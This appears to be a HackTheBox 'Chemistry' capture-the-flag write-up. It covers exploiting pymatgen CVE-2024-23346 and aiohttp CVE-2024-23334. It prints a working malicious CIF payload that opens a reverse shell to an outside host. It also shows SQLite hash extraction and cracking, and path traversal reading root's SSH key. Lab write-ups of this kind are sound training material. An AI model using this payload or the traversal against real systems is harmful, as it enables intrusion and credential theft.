Post

HackTheBox Chemistry

Writeup for HackTheBox Chemistry

HackTheBox Chemistry

Machine Synopsis

Chemistry is an easy-difficulty Linux machine that showcases a Remote Code Execution (RCE) vulnerability in the pymatgen (CVE-2024-23346) Python library by uploading a malicious CIF file to the hosted CIF Analyzer website on the target. After discovering and cracking hashes, we authenticate to the target via SSH as rosa user. For privilege escalation, we exploit a Path Traversal vulnerability that leads to an Arbitrary File Read in a Python library called AioHTTP (CVE-2024-23334) which is used on the web application running internally to read the root flag. (Source)

Key exploitation techniques:

  • pymatgen RCE (CVE-2024-23346) via CIF file processing
  • SQLite database extraction and hash cracking
  • aiohttp Path Traversal (CVE-2024-23334)
  • Arbitrary file read for root SSH key

Enumeration

An nmap scan identified SSH (22/tcp) and an HTTP server on port 5000 running Werkzeug httpd 3.0.3 (Python 3.9.5).

1
2
3
4
5
6
7
8
9
10
11
❯ nmap -sC -sV -A 10.10.11.38

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 b6:fc:20:ae:9d:1d:45:1d:0b:ce:d9:d0:20:f2:6f:dc (RSA)
|   256 f1:ae:1c:3e:1d:ea:55:44:6c:2f:f2:56:8d:62:3c:2b (ECDSA)
|_  256 94:42:1b:78:f2:51:87:07:3e:97:26:c9:a2:5c:0a:26 (ED25519)
5000/tcp open  http    Werkzeug httpd 3.0.3 (Python 3.9.5)
|_http-server-header: Werkzeug/3.0.3 Python/3.9.5
|_http-title: Chemistry - Home

Accessing http://10.10.11.38:5000 presented a “CIF Analyzer” website. User registration and login were available.

webpage

user_dashboard

The site allowed uploading Crystallographic Information Files (CIF) and downloading an example.cif.

1
2
3
4
5
cat example.cif
data_Example
_cell_length_a    10.00000
_cell_length_b    10.00000
...

Exploitation: Pymatgen RCE (CVE-2024-23346)

Researching “CIF exploit” or “pymatgen RCE” quickly revealed CVE-2024-23346, a critical vulnerability in the pymatgen Python library affecting CIF file parsing, with a public Proof-of-Concept (PoC) available. The vulnerability allows arbitrary code execution via a specially crafted CIF file.

The provided PoC was adapted to include a reverse shell payload using os.system.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
cat vuln.cif
data_5yOhtAoR
_audit_creation_date            2018-06-08
_audit_creation_method          "Pymatgen CIF Parser Arbitrary Code Execution Exploit"

loop_
_parent_propagation_vector.id
_parent_propagation_vector.kxkykz
k1 [0 0 0]

_space_group_magn.transform_BNS_Pp_abc  'a,b,[d for d in ().__class__.__mro__[1].__getattribute__ ( *[().__class__.__mro__[1]]+["__sub" + "classes__"]) () if d.__name__ == "BuiltinImporter"][0].load_module ("os").system ("/bin/bash -c 'sh -i >& /dev/tcp/10.10.14.5/1234 0>&1\'");0,0,0'


_space_group_magn.number_BNS  62.448
_space_group_magn.name_BNS  "P  n'  m  a'  "%  

A netcat listener was set up on the attacker machine.

1
2
❯ nc -nlvp 1234
listening on [any] 1234 ...

The vuln.cif file was uploaded via the CIF Analyzer website. Clicking “View” on the uploaded file triggered the RCE.

uploaded_vuln_cif

1
2
3
4
connect to [10.10.14.5] from (UNKNOWN) [10.10.11.38] 48910
sh: 0: can't access tty; job control turned off
$ whoami
app

A shell was received as the app user. A proper PTY shell was spawned for better interaction.

1
2
$ python3 -c "import pty;pty.spawn('/bin/bash')"
app@chemistry:~$ 

Lateral Movement: Database Credentials

The app user shell was used to enumerate the filesystem for sensitive files.

SQLite Database Extraction

The instance directory was found, containing database.db.

1
2
3
app@chemistry:~$ cd instance
app@chemistry:~/instance$ ls
database.db

The database.db file was identified as a SQLite database. Its content was initially observed as binary data when cated directly.

1
2
app@chemistry:~/instance$ cat database.db
fKytableuseruserCREATE TABLE user (...); ...Mrosa63ed86ee9f624c7b14f1d4f43dc251a5'...

To properly extract the data, the database was downloaded to the attacker machine.

1
2
3
4
5
# On target: Set up a temporary HTTP server or use a transfer tool
app@chemistry:~/instance$ python3 -m http.server 8888 & 

# On attacker machine: Download the database
❯ wget http://10.10.11.38:8888/database.db -O database.db

The file was confirmed as a SQLite database.

1
2
❯ file database.db
database.db: SQLite 3.x database, last written using SQLite version 3031001, file counter 111, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 111

The database was dumped to a human-readable format using sqlite3.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
❯ sqlite3 database.db .dump > database.dump
❯ cat database.dump
# ... (truncated)
CREATE TABLE user (
        id INTEGER NOT NULL,
        username VARCHAR(150) NOT NULL,
        password VARCHAR(150) NOT NULL,
        PRIMARY KEY (id),
        UNIQUE (username)
);
INSERT INTO user VALUES(1,'admin','2861debaf8d99436a10ed6f75a252abf');
INSERT INTO user VALUES(2,'app','197865e46b878d9e74a0346b6d59886a');
INSERT INTO user VALUES(3,'rosa','63ed86ee9f624c7b14f1d4f43dc251a5');
INSERT INTO user VALUES(4,'robert','02fcf7cfc10adc37959fb21f06c6b467');
# ... (truncated)

The database.dump revealed several usernames and MD5-like password hashes. The hash for user rosa was 63ed86ee9f624c7b14f1d4f43dc251a5.

Hash Cracking & SSH Access

The hash for rosa was cracked using an online service (e.g., CrackStation) or hashcat.

1
2
3
4
# Using hashcat:echo '63ed86ee9f624c7b14f1d4f43dc251a5' > rosa_hash.txt
❯ hashcat -a 0 -m 0 rosa_hash.txt /usr/share/wordlists/rockyou.txt
63ed86ee9f624c7b14f1d4f43dc251a5:unicorniosrosados

The password for rosa was unicorniosrosados.

SSH access was then established using these credentials.

1
2
3
4
5
6
❯ ssh rosa@10.10.11.38
rosa@10.10.11.38's password: unicorniosrosados
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-196-generic x86_64)
# ... (banner)
rosa@chemistry:~$ cat user.txt
cda063877762f1bb2f6da9f3f72ebd27

The user.txt flag was retrieved.

Privilege Escalation: AioHTTP Path Traversal

Privilege escalation was pursued by examining rosa’s permissions and running processes.

1
2
rosa@chemistry:~$ sudo -l
Sorry, user rosa may not run sudo on chemistry.

netstat -ano revealed a service listening on 127.0.0.1:8080.

1
2
3
4
rosa@chemistry:~$ netstat -ano
Proto Recv-Q Send-Q Local Address           Foreign Address         State       Timer
tcp        0      0 127.0.0.1:8080          0.0.0.0:* LISTEN      off (0.00/0/0)
# ... (truncated)

curl to localhost:8080 showed a “Site Monitoring” web application.

1
2
3
4
5
6
rosa@chemistry:~$ curl http://127.0.0.1:8080
<!DOCTYPE html>
<html lang="en">
<head>
    <title>Site Monitoring</title>
# ... (HTML content)

Further curl -v revealed the Server header: Python/3.9 aiohttp/3.9.1.

1
2
3
4
5
6
7
rosa@chemistry:~$ curl localhost:8080 -v
< HTTP/1.1 200 OK
< Content-Type: text/html; charset=utf-8
< Content-Length: 5971
< Date: Tue, 07 Jan 2025 02:51:53 GMT
< Server: Python/3.9 aiohttp/3.9.1
# ...

Exploiting AioHTTP Path Traversal (CVE-2024-23334)

Researching aiohttp/3.9.1 exploit identified CVE-2024-23334, a Path Traversal vulnerability allowing arbitrary file read through a specially crafted URL, specifically when serving static files. The vulnerability can be exploited by appending ../ sequences to access files outside the intended static directory.

A Python exploit script targeting this vulnerability was used. The script typically iterates through path traversal depths to find the correct file. The assets directory was identified as a potential static file serving location from the HTML output.

1
2
rosa@chemistry:~$ nano exploit.py # Pasted exploit code from GitHub
rosa@chemistry:~$ chmod +x exploit.py

The exploit.py script was executed from the rosa shell to read /root/root.txt. The base URL was http://localhost:8080, and the static directory was /assets.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
rosa@chemistry:~$ python3 exploit.py -u http://localhost:8080 -f /root/root.txt -d /assets
[+] Attempt 0
                    Payload: /assets/../root/root.txt
                    Status code: 404
[+] Attempt 1
                    Payload: /assets/../../root/root.txt
                    Status code: 404
[+] Attempt 2
                    Payload: /assets/../../../root/root.txt
                    Status code: 200
Respose:
eee0bb6ffb142045dbe8caf5d324f463 # Contents of root.txt

Exploit complete

To gain persistent root access, the /root/.ssh/id_rsa file was targeted.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
rosa@chemistry:~$ python3 exploit.py -u http://localhost:8080 -f /root/.ssh/id_rsa -d /assets
[+] Attempt 0
                    Payload: /assets/../root/.ssh/id_rsa
                    Status code: 404
[+] Attempt 1
                    Payload: /assets/../../root/.ssh/id_rsa
                    Status code: 404
[+] Attempt 2
                    Payload: /assets/../../../root/.ssh/id_rsa
                    Status code: 200
Respose:
-----BEGIN OPENSSH PRIVATE KEY-----
# ... (root SSH private key)
-----END OPENSSH PRIVATE KEY-----

Exploit complete

The root SSH private key was successfully retrieved.

Side note: I had an error when trying to SSH with the private key obtained.

1
2
3
  ❯ ssh root@10.10.11.38 -i id_rsa
  Load key "id_rsa": error in libcrypto
  root@10.10.11.38's password: 

Turns out you needed to add a trailing newline after -----END OPENSSH PRIVATE KEY----- to prevent this error.

1
2
3
4
5
6
chmod 600 id_rsa # Set correct permissions for the private key
❯ ssh -i id_rsa root@10.10.11.38
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-196-generic x86_64)
# ... (banner)
root@chemistry:~# whoami
root

Cleanup

To maintain operational security, any artifacts left on the system should be removed.

1
2
3
4
5
# On target machine (as root, if possible)
root@chemistry:~# rm /home/app/uploads/vuln.cif # Remove the initial malicious CIF file
root@chemistry:~# rm /home/app/instance/database.db # Consider if this was copied or if original should be left
# On attacker machinerm database.db rosa_hash.txt exploit.py id_rsa
This post is licensed under CC BY 4.0 by the author.